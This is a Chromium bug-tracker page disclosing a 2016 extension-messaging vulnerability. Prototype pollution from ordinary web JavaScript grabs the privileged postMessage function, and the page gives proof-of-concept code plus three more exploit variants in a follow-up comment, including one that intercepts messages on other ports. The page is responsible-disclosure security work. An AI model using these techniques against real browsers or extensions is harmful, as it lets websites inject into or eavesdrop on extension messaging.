Issue metadata
Sign in to add a comment
|
unprivileged JS can send messages to inaccessible ports |
||||||||||||||||||||||||
Issue descriptionUserAgent: Mozilla/5.0 (X11; CrOS x86_64 7834.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36 Steps to reproduce the problem: 1. ensure that there are no extensions installed that inject content scripts into google.com and that developer tools are closed 2. unpack test-victim-extension.zip and load the contents of the directory as extension 3. open port-hijack.html in a new tab (in which developer tools should *not* be opened) 4. click the link in port-hijack.html 4. wait a bit What is the expected behavior? What went wrong? You should see a notification popup, created by the background script of the test extension in response to a message it received over the port that was opened by the content script. The magic happens here in port-hijack.html: Object.prototype.readonly=['postMessage']; /* `chrome.runtime` in the next line triggers lazy load of extensions::messaging */ var postMessage_ = chrome.runtime.connect('x').postMessage; delete Object.prototype.readonly; function postMessageToPort(portId, msg) { return postMessage_.call({portId_: portId}, msg); } When the code references chrome.runtime, the privileged extensions::messaging JS code is loaded and creates the Port wrapper class around the privileged backing class using the following code: var Port = utils.expose('Port', PortImpl, { functions: [ 'disconnect', 'postMessage' ], properties: [ 'name', 'onDisconnect', 'onMessage' ] }); utils.expose is implemented as follows: function expose(name, cls, exposed) { var publicClass = createClassWrapper(name, cls, exposed.superclass); if ('functions' in exposed) { $Array.forEach(exposed.functions, function(func) { publicClass.prototype[func] = function() { var impl = privates(this).impl; return $Function.apply(impl[func], impl, arguments); }; }); } if ('properties' in exposed) { [...] } if ('readonly' in exposed) { $Array.forEach(exposed.readonly, function(readonly) { $Object.defineProperty(publicClass.prototype, readonly, { enumerable: true, get: function() { return privates(this).impl[readonly]; }, }); }); } return publicClass; } This first registers a proper, safe function wrapper for postMessage as requested by extensions::messaging, but then, when looking up the list of properties that should be made available as read-only, performs an access through to Object.prototype because the `readonly` property of `exposed` wasn't set explicitly, allowing the attacker to request that direct access to the postMessage function should be provided. This function can then be called with arbitrary `this` arguments, allowing the attacker to control the portId that messages are sent to. This issue allows normal websites to send messages through ports owned by other stuff running in the same renderer process - e.g. in this case, when tab A and tab B run in the same renderer and a content script in tab B has an open port to the corresponding browser extension, tab A can send messages to the extension over the content script's port. This is vaguely related to issue #609286 - in both cases, a lack of separation between normal JS code and privileged helper JS code allows the normal JS code to mess with the privileged code. In this case, the problem is that the privileged code uses objects with prototypes that the unprivileged code has access to. Did this work before? N/A Chrome version: 49.0.2623.112 Channel: n/a OS Version: 7834.70.0 Flash Version: Shockwave Flash 21.0 r0
,
May 6 2016
Clever bug, thanks for finding/reporting it.
,
May 6 2016
,
May 6 2016
,
May 6 2016
To help you decide on a good way to fix this, here are some other ways to reach the same or similar things:
Intercepting the `PortImpl.prototype.postMessage = function(msg) { ...` assignment to get the hidden postMessage function:
var postMessage_;
Object.prototype.__defineSetter__('postMessage', function(postMessage) {
if (typeof postMessage === 'function') {
delete Object.prototype.postMessage;
postMessage_ = postMessage;
this.postMessage = postMessage;
}
});
chrome.runtime;
postMessage_
Adding fake elements to the `ports` object to receive messages on ports you don't own:
var fakeport = {onMessage:{dispatch:function(msg){console.log('stolen:'+msg)}}};
for (var i=0; i<1000000; i++) Object.prototype[i] = fakeport;
Using a wrapper function created in expose() with a `this` of the wrong type to cause an access to an undefined property of privates(this).impl, yielding access to the impl object:
var postMessage_;
Object.prototype.dispatch = function(){postMessage_ = this.postMessage};
chrome.webstore.onDownloadProgress.dispatch.call(chrome.runtime.connect('a'));
postMessage_
,
May 6 2016
Fun. +Rob in case he wants to take this one.
,
May 6 2016
The exploit does not work in 52.0.2725.0, probably because of 931719c51866a7c2e272114517cc52aa6581adff ( bug 603748 ). In that bug I decided against merging the patch because another vulnerability that I exploited through that bug was fixed, but you showed a new exploit so I'll request a merge to stable. Thanks for the detailed report and test case!
,
Aug 13 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
|
|||||||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||||||
Comment 1 by dcheng@chromium.org
, May 5 2016Owner: rdevlin....@chromium.org
Status: Assigned (was: Unconfirmed)